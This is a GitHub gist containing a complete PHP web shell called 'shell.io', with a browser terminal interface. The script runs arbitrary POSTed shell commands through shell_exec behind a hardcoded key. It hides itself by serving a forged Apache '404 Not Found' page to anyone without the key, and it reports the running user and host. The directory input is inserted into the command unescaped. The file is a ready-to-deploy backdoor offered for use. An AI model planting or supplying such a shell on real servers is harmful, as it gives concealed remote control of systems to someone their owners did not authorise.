Skip to content

Instantly share code, notes, and snippets.

@tyurderi
Created December 6, 2016 09:25
Show Gist options
  • Save tyurderi/84d5bbab527c845a87a38da5522c0156 to your computer and use it in GitHub Desktop.
Save tyurderi/84d5bbab527c845a87a38da5522c0156 to your computer and use it in GitHub Desktop.
A script to grant shell access through the web.
<?php
define('PRIVATE_KEY', 'YouMayChangeThis');
error_reporting(E_ALL);
ini_set('display_errors', 'on');
function array_value($array, $key, $default = null) { return isset($array[$key]) ? $array[$key] : $default; }
function param($key, $default = null) { return array_value($_GET, $key, $default); }
function post($key, $default = null) { return array_value($_POST, $key, $default); }
function request($key, $default = null) { return array_value($_REQUEST, $key, $default); }
function json($data) { header('Content-Type: application/json'); die(json_encode($data)); }
$privateKey = request('private_key', '');
$command = post('command');
$dir = post('dir');
if ($privateKey !== PRIVATE_KEY)
{
header('HTTP/1.0 404 Not Found');
echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">', PHP_EOL;
echo '<html><head>', PHP_EOL;
echo '<title>404 Not Found</title>', PHP_EOL;
echo '</head><body>', PHP_EOL;
echo '<h1>Not Found</h1>', PHP_EOL;
echo '<p>The requested URL ' . $_SERVER['PHP_SELF'] . ' was not found on this server.</p>', PHP_EOL;
echo '<hr>', PHP_EOL;
echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' Server at ' . $_SERVER['SERVER_NAME'] . ' Port ' . $_SERVER['SERVER_PORT'] . '</address>', PHP_EOL;
echo '</body></html>', PHP_EOL;
die;
}
else if (!empty($command))
{
if (!empty($dir))
{
$command = sprintf('cd %s && %s 2>&1 && echo \$\|$PWD', $dir, $command);
}
$result = shell_exec($command);
if (($pos = strrpos($result, '$|')) !== false)
{
$dir = substr($result, $pos + 2);
$result = substr($result, 0, $pos);
if (strpos($result, '$|') === 0)
{
$result = '';
}
}
else if(empty($dir))
{
$dir = shell_exec('echo $PWD');
}
json([
'success' => true,
'result' => $result,
'whereami' => trim($dir),
'whoami' => trim(shell_exec('echo $(whoami)@$(uname -n)'))
]);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>shell.io</title>
<style type="text/css">
* { box-sizing: border-box; margin: 0; padding: 0; font-family: 'Lucidia Console', monospace; font-size: 14px; color: #2ecc71; }
*:focus, textarea:focus, input:focus { outline: none !important; }
.app { position: absolute; top: 0; right: 0; left: 0; bottom: 0; width: 100%; height: 100%; background: #333; display: flex; flex-direction: column; }
.app ul { flex: 1; padding: 5px; }
.app ul li:not(.input) { white-space: pre-wrap; padding: 0 0 5px 0; margin: 0 0 5px 0; border-bottom: 2px dotted #000; }
.app ul li.input { width: 100%; }
.app ul li.input div.input--container { position: relative; height: 20px; }
.app ul li.input div.input--container span.input--prefix { position: absolute; left: 0; z-index: 10; height: 100%; line-height: 20px; }
.app ul li.input div.input--container .input--field { position: absolute; width: 100%; height: 100%; border: 0 none !important; background: #333; text-indent: 1em; }
</style>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/js-cookie/2.1.3/js.cookie.min.js"></script>
<script type="text/javascript">
function ShellHistory() {
this.items = [];
this.pos = -1;
this.load();
}
ShellHistory.prototype = {
save: function()
{
Cookies.set('shell_history', JSON.stringify(this.items));
},
load: function()
{
var items = Cookies.get('shell_history');
if (items)
{
this.items = JSON.parse(Cookies.get('shell_history'));
}
},
get: function(index)
{
return this.items[this.clamp(index)];
},
push: function(item)
{
return this.items.push(item);
},
length: function()
{
return this.items.length;
},
clamp: function(index)
{
return Math.max(0, Math.min(this.items.length - 1, index));
},
next: function()
{
this.pos = this.clamp(++this.pos);
return this.items[
this.clamp(
this.length() - this.pos - 1
)
];
},
prev: function()
{
this.pos = this.clamp(--this.pos);
return this.items[
this.clamp(
this.length() - this.pos - 1
)
];
},
reset: function()
{
this.pos = -1;
},
clear: function()
{
this.items.length = 0;
}
};
$(function() {
var $input = $('.input--field').focus(),
$where = $('.whereAmI'),
whereami = '',
whoami = '';
window.shellHistory = new ShellHistory();
$(document).on('click', function() {
$input.focus();
});
$(document).on('keydown', function(e) {
if (e.ctrlKey && e.keyCode == 76)
{
$('li.line').remove();
e.preventDefault();
}
});
$input.on('keydown', function(e) {
if (e.keyCode == 13 && $input.val().length > 0)
{
var line = $input.val(),
$line = append('Executing...');
$input.val('');
shellHistory.reset();
exec(line, function(response) {
if (response.success && response.result)
{
$line.text(response.result);
}
else
{
$line.remove();
}
});
}
else if(e.keyCode == 38)
{
$input.val(shellHistory.next());
}
else if(e.keyCode == 40)
{
$input.val(shellHistory.prev());
}
else if(e.keyCode == 67 && e.ctrlKey)
{
$input.val('');
}
});
function append(text)
{
return $('<li />', {
class: 'line',
html: text
}).insertBefore($input.parents('li.input'));
}
function exec(line, done, saveToHistory)
{
$.post('', {
command: line,
private_key: '<?php echo $privateKey; ?>',
dir: whereami
}, function(response) {
(done || function() {})(response);
whereami = response.whereami;
whoami = response.whoami;
$where.html(whoami + ' ' + whereami);
});
if (saveToHistory !== false)
{
shellHistory.push(line);
shellHistory.save();
}
}
exec('ls', false, false);
});
</script>
</head>
<body>
<div class="app">
<ul class="output">
<li class="input">
<span class="whereAmI"></span>
<div class="input--container">
<span class="input--prefix">$</span>
<input class="input--field" />
</div>
</li>
</ul>
</div>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment